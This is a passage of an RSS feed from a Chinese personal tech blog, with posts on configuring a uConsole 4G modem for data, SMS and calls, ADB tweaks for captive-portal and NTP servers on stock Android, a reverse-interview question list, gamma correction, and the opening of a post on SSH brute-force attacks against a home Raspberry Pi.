<p><a href="https://github.com/clockworkpi/uConsole/wiki/How-to-use-the-4G-extension">https://github.com/clockworkpi/uConsole/wiki/How-to-use-the-4G-extension</a></p>
<p><a href="https://github.com/clockworkpi/uConsole/wiki/How-to-make-phone-call---send-sms-with-4G-extension">https://github.com/clockworkpi/uConsole/wiki/How-to-make-phone-call---send-sms-with-4G-extension</a></p>
</blockquote>
<p>简单来说就是用官方的脚本启用模块，然后能用 mmcli (ModemManager) 看到基带，接着用 nmcli (NetworkManager) 新建一个连接就可以联网了。打电话发短信这些功能，文档也给出了一些对应的 AT 指令。</p>
<p>在文档里，提及了两种不同的驱动，在 mmcli 中对应显示的 primary port 分别为 <code>ttyUSB2</code> 和 <code>cdc-wdm0</code>。在官方的镜像中，默认提供的是 <code>ttyUSB2</code>，而在 <a href="https://forum.clockworkpi.com/u/Rex">Rex</a> 大佬提供的 <a href="https://forum.clockworkpi.com/t/bookworm-6-6-y-for-the-uconsole-and-devterm/13235">Bookworm 镜像</a>中，默认使用的是 <code>cdc-wdm0</code> 这种方式。官方推荐使用 <code>ttyUSB2</code> 这一种连接方式，甚至建议屏蔽掉另一种的连接驱动。不过根据 Jeff Geerling 的这一篇<a href="https://www.jeffgeerling.com/blog/2022/using-4g-lte-wireless-modems-on-raspberry-pi">博客</a>以及相关的评论，<code>cdc-wdm0</code> 应当是一个更优雅的选择。而且实际使用 nmcli 建立连接的时候，两者没有表现出任何区别，所以好像完全没必要去屏蔽 qmi 驱动&hellip;</p>
<p>另外，这个<a href="https://github.com/clockworkpi/uConsole/wiki/How-to-upgrade-4G-extension-firmware">文档</a>里面提到了两种固件 9001 和 9011，出厂应该是 9001，可以选择刷到 9011，但是貌似无法刷回 9001。两种固件的区别在于 9001 可以让 mmcli 等工具直接访问和控制基带底层功能，而 9011 会把整个 4G 模块以一个 USB 网卡的形式暴露给系统，只提供上网，而没有办法访问底层的功能。我选择还是使用 9001 固件。</p>
<hr>
<h2 id="建立网络连接">建立网络连接</h2>
<p>Linux 不愧是 Linux，做一件事情总有好几种方法。Jeff Geerling 的博客里介绍的联网方法比较原始，需要使用 qmicli，还要手动用 udhcpc 处理网络地址和路由。而在现代的 debian 系统里，这些底层的功能都被包裹进了 NetworkManager 和 ModemManager 这样的高层工具。</p>
<p>不过就算如此，NetworkManager 还是有好几种建立连接的方法。</p>
<p>第一种是和文档中一样的，直接建立新连接：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nmcli c add <span class="nb">type</span> gsm ifname <span class="s1">&#39;*&#39;</span> con-name 4gnet apn ctnet</span></span></code></pre></div><p>（这里的 APN 用的是中国电信的 ctnet，按需更改）</p>
<p>第二种方式是通过激活这个 device，NetworkManager 会自动建立对应的连接：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nmcli d connect cdc-wdm0</span></span></code></pre></div><p>（这里 4G 模块对应的网卡名是 cdc-wdm0，按需更改）</p>
<p>第三种方式是通过 GUI，在树莓派桌面的网络连接菜单里选择 Edit Connections，然后通过加号按钮新建连接。这种方法需要选择 SIM 卡的运营商，系统可能没有内置这些信息，需要额外安装 mobile-broadband-provider-info 这个包。</p>
<p>这本质上都是在使用 NetworkManager 创建连接，只是三种不同的调用方法。有点奇怪但也不意外的是，而这三种创建出来的连接各有不同的默认值。分别尝试过以后，我还是相对更倾向于使用第一种直接建立连接的方法。</p>
<h3 id="ipv6">IPv6</h3>
<p>这年头国内运营商默认都给 IPv6 了，但是 uConsole 通过 4G 联网以后并没有拿到 IPv6 地址。</p>
<p>这是个挺隐蔽的问题，也体现了这些移动通讯行业的技术栈有多么复杂。在这篇树莓派论坛的<a href="https://forums.raspberrypi.com/viewtopic.php?t=361357">帖子</a>里，有人提到初始承载默认使用了 IPv4  单栈，更新为双栈以后就有 IPv6 了。我看了下我的连接的确如此，初始承载使用了 IPv4 单栈，这样就算后面实际使用的数据承载是双栈，也只能拿到 IPv4。</p>
<p>于是执行这个指令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo mmcli -m <span class="m">0</span> --3gpp-set-initial-eps-bearer-settings<span class="o">=</span><span class="s2">&#34;ip-type=ipv4v6&#34;</span></span></span></code></pre></div><p>把初始承载更新为双栈，重启基带就有 IPv6 了。</p>
<hr>
<h2 id="发短信">发短信</h2>
<p>官方教程给出的方法是通过 AT 指令。但是讲真的，谁会那些东西？简直是在念魔咒。</p>
<p>好在 mmcli 拯救了我们。根据 mmcli 的<a href="https://www.freedesktop.org/software/ModemManager/man/latest/mmcli.1.html">文档</a>，可以用这几个指令发送短信：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo mmcli -m <span class="m">0</span> --messaging-create-sms<span class="o">=</span><span class="s2">&#34;text=&#39;hello world&#39;,number=&#39;+861xxxxxxxxxx&#39;&#34;</span>  <span class="c1"># 新建短信草稿，更多可传参数详见文档</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo mmcli -m <span class="m">0</span> --messaging-list-sms  <span class="c1"># 查看当前的短信列表</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">sudo mmcli -m <span class="m">0</span> -s <span class="m">0</span> --send  <span class="c1"># 发送编号为0的短信 （-b 控制短信编号）</span></span></span></code></pre></div><p>还可以用这几个指令查看收到的短信：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo mmcli -m <span class="m">0</span> --messaging-list-sms  <span class="c1"># 查看当前的短信列表</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo mmcli -m <span class="m">0</span> -s <span class="m">0</span>  <span class="c1"># 查看编号为0的短信 （-b 控制短信编号）</span></span></span></code></pre></div><p>还是觉得复杂？我也是。好在有人做了对应的 GUI 软件，我们有两个选择，<a href="https://linuxonly.ru/page/modem-manager-gui">modem-manager-gui</a> (<a href="https://web.archive.org/web/20200705123230/https://linuxonly.ru/page/modem-manager-gui">archive</a>, <a href="https://github.com/dmikushin/modem-manager-gui/">github mirror?</a>) 或是 <a href="https://gitlab.gnome.org/World/Chatty">Chatty</a> (GNOME Chats)。考虑到 mmgui 基本是一个停止维护的状态，以及从外观上来说，我会更倾向使用 Chatty（美观，正在开发中）。</p>
<p>现在 <a href="https://flathub.org/apps/sm.puri.Chatty">Flatpak 版本的 Chatty</a> 没法正常发送桌面通知，以及有一些路径不对应导致的 Matrix 功能无法使用，但是不影响短信。应该说开发者并没有主力在维护 Flatpak 版本，所以并不非常完美。除此以外使用上没什么明显的问题（毕竟主要只是当流量卡在用，而且也没人发短信了不是吗）。</p>
<p>Flatpak 版本不会自启动，可以手动把 daemon 添加到开机自启动，在 XDG Autostart 路径下创建这个 desktop 文件：（~/.config/autostart/sm.puri.Chatty-daemon.desktop）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-desktop" data-lang="desktop"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">[Desktop Entry]</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="na">Name</span><span class="o">=</span><span class="s">Chats (daemon)</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="na">Exec</span><span class="o">=</span><span class="s">flatpak run sm.puri.Chatty --daemon</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="na">Icon</span><span class="o">=</span><span class="s">sm.puri.Chatty</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="na">Comment</span><span class="o">=</span><span class="s">SMS and XMPP chat application (daemon mode)</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="na">Keywords</span><span class="o">=</span><span class="s">XMPP;SMS;chat;jabber;messaging;modem</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="na">Terminal</span><span class="o">=</span><span class="s">false</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="na">Type</span><span class="o">=</span><span class="s">Application</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="na">Categories</span><span class="o">=</span><span class="s">Network;GNOME;GTK;Chat;InstantMessaging</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="na">NoDisplay</span><span class="o">=</span><span class="s">true</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="err">X-GNOME-AutoRestart=true</span></span></span></code></pre></div><p>（这个文件是取自 ~/.local/share/flatpak/app/sm.puri.Chatty/current/active/files/etc/xdg/autostart/sm.puri.Chatty-daemon.desktop 修改而来）</p>
<p>这样开机后 Chatty 就会自动在后台接收短信了。</p>
<hr>
<h2 id="打电话">打电话</h2>
<p>要说发短信我可能还想要试试用 cli，打电话还用 cli 那就有点奇怪了。</p>
<p>好在解决方案非常明确：<a href="https://gitlab.gnome.org/GNOME/calls">GNOME Calls</a>。要说 Chatty 还是个 GNOME worlds 里的二等公民，Calls 那妥妥的是一等公民的核心应用。装完以后就可以和正常手机一样接打电话了。</p>
<p>不过如果真的接一个电话的话，就会发现虽然有来电铃声，但是接通以后并不能听到对面的声音，uConsole 也没有麦克风。在系统耳机孔插上耳机，一样没有声音，奇怪。幸好看到了这位老哥 <a href="https://forum.clockworkpi.com/u/SuperMarioSF">SuperMarioSF</a> 的<a href="https://forum.clockworkpi.com/t/uconsole-lte-modem-how-to-guide-for-a06-with-9001-stock-firmware/11347">帖子</a>和<a href="https://supermariosf.1stdim.org/Random/Misc/uConsole+%E6%8A%98%E8%85%BE%E6%97%A5%E8%AE%B0">博客</a>，原来 4G 模块的音频完全独立于系统，所以耳机需要插在 4G 模块那一侧的耳机孔。难怪，我刚拼好这机器的时候也在困惑，为啥会有左右两个耳机孔。</p>
<p>通过系统声音接打电话也并非不可能，在 mmcli 的输出里可以看到 ports 里有一个 <code>ttyUSB4 (audio)</code> 是音频输出端口。如果我们能用这个虚拟 USB 声卡传输音频，就可以打通 4G 模块和系统声音了。可惜的是这件事情并没有那么简单，也没有非常成熟/现成的解决方案，能搜到的只有两个 Linux 手机系统各自造的轮子 <a href="https://source.puri.sm/Librem5/haegtesse">Librem5/haegtesse</a> 和 <a href="https://gitlab.com/mobian1/callaudiod">mobian1/callaudiod</a>，都不是非常开箱即用。考虑到没有那么需要用这个设备打电话（这年头还有谁打电话？），也就不值得往下折腾了。</p>
<p>和 Chatty 一样，<a href="https://flathub.org/apps/org.gnome.Calls">Calls 的 Flatpak 版本</a>不会自启动，一样可以把 daemon 加入后台自启动（~/.config/autostart/org.gnome.Calls-daemon.desktop），这样就能有来电通知了：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-desktop" data-lang="desktop"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">[Desktop Entry]</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="na">Name</span><span class="o">=</span><span class="s">Calls (daemon)</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="na">GenericName</span><span class="o">=</span><span class="s">Phone</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="na">Comment</span><span class="o">=</span><span class="s">A phone dialer and call handler (daemon mode)</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="na">Keywords</span><span class="o">=</span><span class="s">Telephone;Call;Phone;Dial;Dialer;PSTN;</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="na">Icon</span><span class="o">=</span><span class="s">org.gnome.Calls</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="na">Exec</span><span class="o">=</span><span class="s">flatpak run org.gnome.Calls --daemon</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="na">Type</span><span class="o">=</span><span class="s">Application</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="na">StartupNotify</span><span class="o">=</span><span class="s">true</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="na">NoDisplay</span><span class="o">=</span><span class="s">true</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="na">Terminal</span><span class="o">=</span><span class="s">false</span><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="na">Categories</span><span class="o">=</span><span class="s">Network;GNOME;GTK;Telephony;</span><span class="w">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="na">X-GNOME-AutoRestart</span><span class="o">=</span><span class="s">true</span><span class="w">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="na">X-GNOME-UsesNotifications</span><span class="o">=</span><span class="s">true</span><span class="w">
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="err">X-GNOME-HiddenUnderSystemd=true</span></span></span></code></pre></div><p>（这个文件是取自 ~/.local/share/flatpak/app/org.gnome.Calls/current/active/files/etc/xdg/autostart/org.gnome.Calls-daemon.desktop 修改而来）</p>
<hr>
<h2 id="后记">后记</h2>
<p>这篇博客的主要内容都是在这台 uConsole 上编写的。装上了 fcitx-rime（ibus-rime 有问题）和 Typora，在这个有限的键盘和屏幕上（还有那超不精确的滚珠鼠标），做一些精细编辑确实有点吃力，但是用来写一个粗稿完全没有问题。虽说重量确实有一点小重，锻炼麒麟臂了。</p>
<p>真是非常满足幻想的一台实体 Fantasy Console 了。</p>
]]></content:encoded>
    </item>
    <item>
      <title>原生安卓 ADB hacks</title>
      <link>https://sttev.com/posts/41-stock-android-adb-hacks/</link>
      <pubDate>Mon, 13 Jan 2025 19:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/41-stock-android-adb-hacks/</guid>
      <description>&lt;h2 id=&#34;如何使用-termux-操作-adb&#34;&gt;如何使用 Termux 操作 ADB&lt;/h2&gt;&#xA;&lt;p&gt;如果尚未安装 ADB，直接执行 &lt;code&gt;adb&lt;/code&gt; 指令，Termux 会提示如何安装。&lt;/p&gt;&#xA;&lt;p&gt;安装好后，在手机的 Developer options 中启用 Wireless debugging。选择 Pair device with pairing code，可以看到有对应的 &amp;lt;ip&amp;gt;:&amp;lt;port&amp;gt; 以及配对码。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="如何使用-termux-操作-adb">如何使用 Termux 操作 ADB</h2>
<p>如果尚未安装 ADB，直接执行 <code>adb</code> 指令，Termux 会提示如何安装。</p>
<p>安装好后，在手机的 Developer options 中启用 Wireless debugging。选择 Pair device with pairing code，可以看到有对应的 &lt;ip&gt;:&lt;port&gt; 以及配对码。</p>
<p>在 Termux 中输入 <code>adb pair</code> 可以看到使用说明，使用 <code>adb pair &lt;ip&gt;:&lt;port&gt; &lt;code&gt;</code> 进行配对。（也可以不输 code，紧接着 adb 会提示输入）</p>
<p>配对完成后，使用 <code>adb connect</code> 建立连接，可以用 <code>adb devices</code> 查看已连接的设备。</p>
<p>以上就完成了 adb 的配对和连接，后面就可以执行下面的 shell 指令了。如果需要执行多条 <code>adb shell xxx</code> 指令，其实可以直接先执行 <code>adb shell</code> ，进入 shell 环境后只需要执行后面那句指令即可。</p>
<p>完成所有指令后，使用 <code>adb disconnect</code> 断开连接。</p>
<p>备注：</p>
<ul>
<li>多任务切换窗口后配对码就会失效，所以可以使用分屏，同时展示设置和 Termux，即可正常完成配对。</li>
<li>配对前最好关闭 VPN，否则 IP 可能不对。</li>
</ul>
<h2 id="hacks">Hacks</h2>
<ol>
<li>
<p><strong>网络状态检测</strong></p>
<p>原生安卓使用的 Captive Portal Server 是谷歌的域名（实际使用的域名有众多说法，无定论），显然被墙无法访问，而且这种底层应用貌似不会被正确代理。因此需要更换 Captive Portal Server 到一个国内能够正常访问的地址。</p>
<p>可以使用 V2EX 提供的：</p>
<blockquote>
<p><a href="https://www.v2ex.com/t/303889">关于 V2EX 提供的 Android Captive Portal Server 地址的更新 - V2EX</a></p>
</blockquote>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb shell <span class="s2">&#34;settings put global captive_portal_http_url http://captive.v2ex.co/generate_204&#34;</span><span class="p">;</span> 
</span></span><span class="line"><span class="ln">2</span><span class="cl">adb shell <span class="s2">&#34;settings put global captive_portal_https_url https://captive.v2ex.co/generate_204&#34;</span><span class="p">;</span></span></span></code></pre></div><p>还可以添加 fallback 地址：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb shell <span class="s2">&#34;settings put global captive_portal_fallback_url http://captive.v2ex.co/generate_204&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">adb shell <span class="s2">&#34;settings put global captive_portal_other_fallback_urls http://captive.v2ex.co/generate_204&#34;</span><span class="p">;</span></span></span></code></pre></div><p>检查设置：（其它以此类推）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb shell <span class="s2">&#34;settings get global captive_portal_https_url&#34;</span></span></span></code></pre></div><p>除了 V2EX 的服务器外还可以使用小米和谷歌 CN 的：</p>
<ul>
<li><code>(http/https) connect.rom.miui.com/generate_204</code></li>
<li><code>(http/https) www.google.cn/generate_204</code></li>
</ul>
<p>更多参考：</p>
<blockquote>
<p><a href="https://blog.leafee98.com/essays/change-the-android-network-protal-provider/">修改 Android 探测网络状态所用的服务提供者</a></p>
<p><a href="https://android.stackexchange.com/a/186995">Captive Portal parameters</a></p>
<p><a href="https://imldy.cn/posts/99d42f85/">检测网络联通性&amp;generate_204服务汇总与评测</a></p>
</blockquote>
</li>
<li>
<p><strong>时间同步</strong></p>
<p>和 Captive Portal 一样，原生安卓使用的 NTP Server 也是被墙的（<a href="http://time.android.com/">time.android.com</a>），这导致系统无法正确同步时间。</p>
<p>使用 ADB 修改成 <a href="http://pool.ntp.org/">pool.ntp.org</a> 即可：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb shell <span class="s2">&#34;settings put global ntp_server pool.ntp.org&#34;</span></span></span></code></pre></div><p>检查设置：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb shell <span class="s2">&#34;settings get global ntp_server&#34;</span></span></span></code></pre></div><p>参考：</p>
<blockquote>
<p><a href="https://www.v2ex.com/t/639339">Android 系统时间不对有遇到的吗？ - V2EX</a></p>
<p><a href="https://dns.icoa.cn/ntp/">公共 NTP 网络时间服务器地址大全 Public NTP Server - DNS.iCoA.CN</a></p>
<p><a href="https://dns.iui.im/ntp/">全国公共NTP授时服务器地址大全|Public NTP Server - dns.iui.im</a></p>
</blockquote>
</li>
<li>
<p><strong>应用独立语言设置</strong></p>
<p>安卓 13 引入了每个应用独立的语言设置（per-app language settings），但是默认需要应用启用支持以后，才会在系统设置里显示这个应用。</p>
<p>例如全局系统语言设置为英文，但是想要把 Sky Map 设置为中文，默认是不行的。因为 Sky Map 没有在构建应用的时候启用对应的支持，应用内也没有做语言切换。</p>
<p>要强制启用对所有应用的独立多语言设置，可以使用 ADB 添加如下设置：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb shell <span class="s2">&#34;settings put global settings_app_locale_opt_in_enabled false&#34;</span></span></span></code></pre></div><p>检查设置：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb shell <span class="s2">&#34;settings get global settings_app_locale_opt_in_enabled&#34;</span></span></span></code></pre></div><p>然后就可以在系统语言设置里的应用语言里看到所有应用了，也可以在每个应用自己的设置界面里看到语言选项。</p>
<p>参考：</p>
<blockquote>
<p><a href="https://www.reddit.com/r/Android/comments/wrlgh2/how_to_make_every_app_appear_in_android_13s_new/">How to make every app appear in Android 13&rsquo;s new per-app language settings</a></p>
</blockquote>
<p>另外，也可以通过 Shizuku + <a href="https://github.com/VegaBobo/Language-Selector">Language Selector</a> 第三方 UI 实现独立应用语言选择。不过有原生 UI，还是用原生的更靠谱。</p>
</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>Reverse interview</title>
      <link>https://sttev.com/posts/40-reverse-interview/</link>
      <pubDate>Tue, 05 Nov 2024 01:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/40-reverse-interview/</guid>
      <description>&lt;p&gt;很久之前看过人家列出的 &lt;a href=&#34;https://github.com/viraptor/reverse-interview&#34;&gt;reverse interview 问题清单&lt;/a&gt;，也列一下我的清单好了。&lt;/p&gt;&#xA;&lt;p&gt;人：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;公司期望有多少比例的工作时间用于个人学习成长？（短期性，长期性）&lt;/li&gt;&#xA;&lt;li&gt;1个月/3个月/6个月以后，公司对我的期望是什么样的？&lt;/li&gt;&#xA;&lt;li&gt;会不会帮助职业生涯规划？有没有定义好的职业阶梯？&lt;/li&gt;&#xA;&lt;li&gt;绩效考核的模式和指标是？&lt;/li&gt;&#xA;&lt;li&gt;这个职位会参加的会议时长？&lt;/li&gt;&#xA;&lt;li&gt;实际的上班时间？加班费？休假制度？&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;项目：&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>很久之前看过人家列出的 <a href="https://github.com/viraptor/reverse-interview">reverse interview 问题清单</a>，也列一下我的清单好了。</p>
<p>人：</p>
<ol>
<li>公司期望有多少比例的工作时间用于个人学习成长？（短期性，长期性）</li>
<li>1个月/3个月/6个月以后，公司对我的期望是什么样的？</li>
<li>会不会帮助职业生涯规划？有没有定义好的职业阶梯？</li>
<li>绩效考核的模式和指标是？</li>
<li>这个职位会参加的会议时长？</li>
<li>实际的上班时间？加班费？休假制度？</li>
</ol>
<p>项目：</p>
<ol>
<li>项目的独特程度有多高？</li>
<li>对新技术的接受程度有多高？</li>
<li>从创意到落地，一个项目的完整的流程是什么样的？
<ol>
<li>项目管理</li>
<li>产品经理对项目的理解</li>
<li>开发的自由程度，对项目的掌控权</li>
<li>代码管理/合作方式，部署方式，技术栈，规范，SOP</li>
<li>文档编写</li>
<li>测试流程</li>
</ol>
</li>
<li>维护工作/杂活和创新工作的比例，重要性</li>
<li>是否存在跨团队合作，方式？</li>
</ol>
<p>IT：</p>
<ol>
<li>是否可以使用Linux作为开发机系统？</li>
<li>内部IM是什么？</li>
<li>有没有使用OA系统？</li>
</ol>
<p>公司：</p>
<ol>
<li>公司发展方向的变动程度与频率？</li>
<li>公司的商业模式？</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>Gamma 矫正</title>
      <link>https://sttev.com/posts/39-gamma-correction/</link>
      <pubDate>Mon, 15 May 2023 22:30:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/39-gamma-correction/</guid>
      <description>&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;人眼gamma&lt;/p&gt;&#xA;&lt;p&gt;人眼和听力等感官一样，对信号强度的感知是非线性的。物理实际亮度增加一倍，人眼感知亮度的增长少于一倍；即下图这样的上凸曲线：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;../gamma-correction.assets/brightness-perception.png&#34; alt=&#34;brightness-perception&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;可以采用 $\log{x}$ 或者 $x^{\gamma}$ 的方式来对这条曲线进行建模。讨论gamma校正的时候我们会使用 $x^{\gamma}$，其中的 $\gamma$ 就是gamma参数，人眼的gamma大约在 1/2.5 ~ 1/2.2。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<ol>
<li>
<p>人眼gamma</p>
<p>人眼和听力等感官一样，对信号强度的感知是非线性的。物理实际亮度增加一倍，人眼感知亮度的增长少于一倍；即下图这样的上凸曲线：</p>
<p><img src="../gamma-correction.assets/brightness-perception.png" alt="brightness-perception"></p>
<p>可以采用 $\log{x}$ 或者 $x^{\gamma}$ 的方式来对这条曲线进行建模。讨论gamma校正的时候我们会使用 $x^{\gamma}$，其中的 $\gamma$ 就是gamma参数，人眼的gamma大约在 1/2.5 ~ 1/2.2。</p>
<p>（事实上人眼对亮度感知的非线性关系比这复杂的多，这里只是试图简单近似。）</p>
<p>人眼这样的特性意味着，我们感知的灰阶和实际的亮度并非对等的，线性的亮度增长在我们看来会是一个过亮的灰阶，如下图：</p>
<p><img src="../gamma-correction.assets/grayscale-1.png" alt="grayscale-1"></p>
<p><img src="../gamma-correction.assets/grayscale-2.png" alt="grayscale-2"></p>
<p>可以关注一个关键点：50%灰度（中灰）的位置，可以看到人眼感知的50%灰阶实际上亮度只有21.8%，而50%亮度对应的灰阶已经在73%左右的位置。</p>
<p><img src="../gamma-correction.assets/middle-gray.png" alt="middle-gray"></p>
<p>这个现象也可以描述为，人眼对于暗部更加敏感，对亮部相对更不敏感。</p>
<p>因此，在存储图像的时候，可以通过一个trick保留更多人眼更敏感的细节：存储前进行gamma矫正，展示时再逆矫正回线性空间。</p>
<p>如下图，直接存储线性空间的话，会导致暗于中灰的部分被分配到了更少的灰阶，而亮于中灰的分配到了更多的灰阶；如果先进行gamma矫正调亮整张图，让暗色部分分配到更多灰阶，则存储的时候能够均匀对整个灰度进行划分。</p>
<p><img src="../gamma-correction.assets/gamma-encoded.png" alt="gamma-encoded"></p>
</li>
<li>
<p>显示器gamma</p>
<p>CRT显示器和人眼存在类似的特性，输入电压和显示亮度并非呈线性关系，而是如下的曲线：</p>
<p><img src="../gamma-correction.assets/crt-gamma.png" alt="crt-gamma"></p>
<p>这条曲线也一样可以用 $x^{\gamma}$ 来表示，gamma在 2.5 左右（1.4 ~ 3.0）。</p>
</li>
<li>
<p>sRGB gamma</p>
<p>为了让互联网上的图像使用一个统一色彩空间，以便在不同显示器上显示出同样的效果，微软和HP在1996年提出了sRGB色彩空间。</p>
<p>他们参考了市面上的CRT显示器的平均线性电压响应，最后选择了Gamma校准系数为2.2的色彩空间。（实际计算公式并非简单的gamma2.2，而是gamma2.4加一个偏置值，不过最终曲线非常近似gamma2.2。）</p>
<p>线性空间的图像在量化保存至文件的时候，会首先进行gamma=1/2.2的矫正，提亮暗色部分；展示的时候显示器会再施加gamma=2.2的矫正，显示出线性空间的亮度。</p>
<p><img src="../gamma-correction.assets/srgb-gamma.png" alt="srgb-gamma"></p>
<p>由于CRT显示器已经普遍拥有2.5左右的固有gamma，因此显示器厂商只需要进行微调，就可以符合gamma2.2的规范。现代显示器依旧沿用了这一传统，不论面板的固有gamma是多少，都会把显示效果调校至gamma2.2。</p>
<p>这一标准也碰巧和人眼对亮度的感知特性匹配上，使用srgb的gamma2.2进行存储，能够更好地保留暗部细节，更均匀地利用数据空间。</p>
</li>
</ol>
<hr>
<p>参考：</p>
<p><a href="https://www.cambridgeincolour.com/tutorials/gamma-correction.htm">https://www.cambridgeincolour.com/tutorials/gamma-correction.htm</a></p>
<p><a href="https://www.w3.org/Graphics/Color/sRGB.html">https://www.w3.org/Graphics/Color/sRGB.html</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>SSH 防爆破与 Fail2Ban 加固</title>
      <link>https://sttev.com/posts/38-ssh-fail2ban/</link>
      <pubDate>Tue, 11 May 2021 23:30:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/38-ssh-fail2ban/</guid>
      <description>&lt;h2 id=&#34;前情提要&#34;&gt;前情提要&lt;/h2&gt;&#xA;&lt;p&gt;自从两年前购入一个树莓派 4B 后，它一直作为我的本地服务器勤勤恳恳的 &lt;del&gt;吃灰&lt;/del&gt; 运行着。为了方便随时随地访问，我在另一台个人云服务器上搭建了 &lt;a href=&#34;https://github.com/fatedier/frp&#34;&gt;frp&lt;/a&gt; 服务，把内网的 SSH 22 端口转发到了一个公网端口上。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="前情提要">前情提要</h2>
<p>自从两年前购入一个树莓派 4B 后，它一直作为我的本地服务器勤勤恳恳的 <del>吃灰</del> 运行着。为了方便随时随地访问，我在另一台个人云服务器上搭建了 <a href="https://github.com/fatedier/frp">frp</a> 服务，把内网的 SSH 22 端口转发到了一个公网端口上。</p>
<p>直到今年年初偶然一次检查的时候，才发现这个转发出去的 SSH 端口正在被一大批 IP 24 小时持续不断的进行爆破操作，攻击的速度达到了每秒十几次。可把我吓出一身汗，因为那时候还在使用相对较弱的一组用户名和密码。</p>
<p>事后检查 log 的时候发现，auth.log 里满满当当挤了那个月的 *<strong>几千万</strong>* 条攻击记录（auth.log 最多记录一个月），也就是说这个攻击已经持续了至少一个月以上。攻击的 IP 来源不少都是外网机器，估摸着都是肉鸡或者代理；攻击记录显示出两大种类型：常见用户名爆破以及 root 密码爆破。好在实际正确的用户名在 log 中只出现了寥寥一两百次，对系统仔细检查后也没有发现异样，因此判断尚未被成功爆破。</p>
<p>要知道，我的树莓派不仅是本地服务器，还是一个 NAS，相当多的个人文件被备份在上面。要是被爆破，作为肉鸡是小事，泄露隐私/丢失数据可是大事。</p>
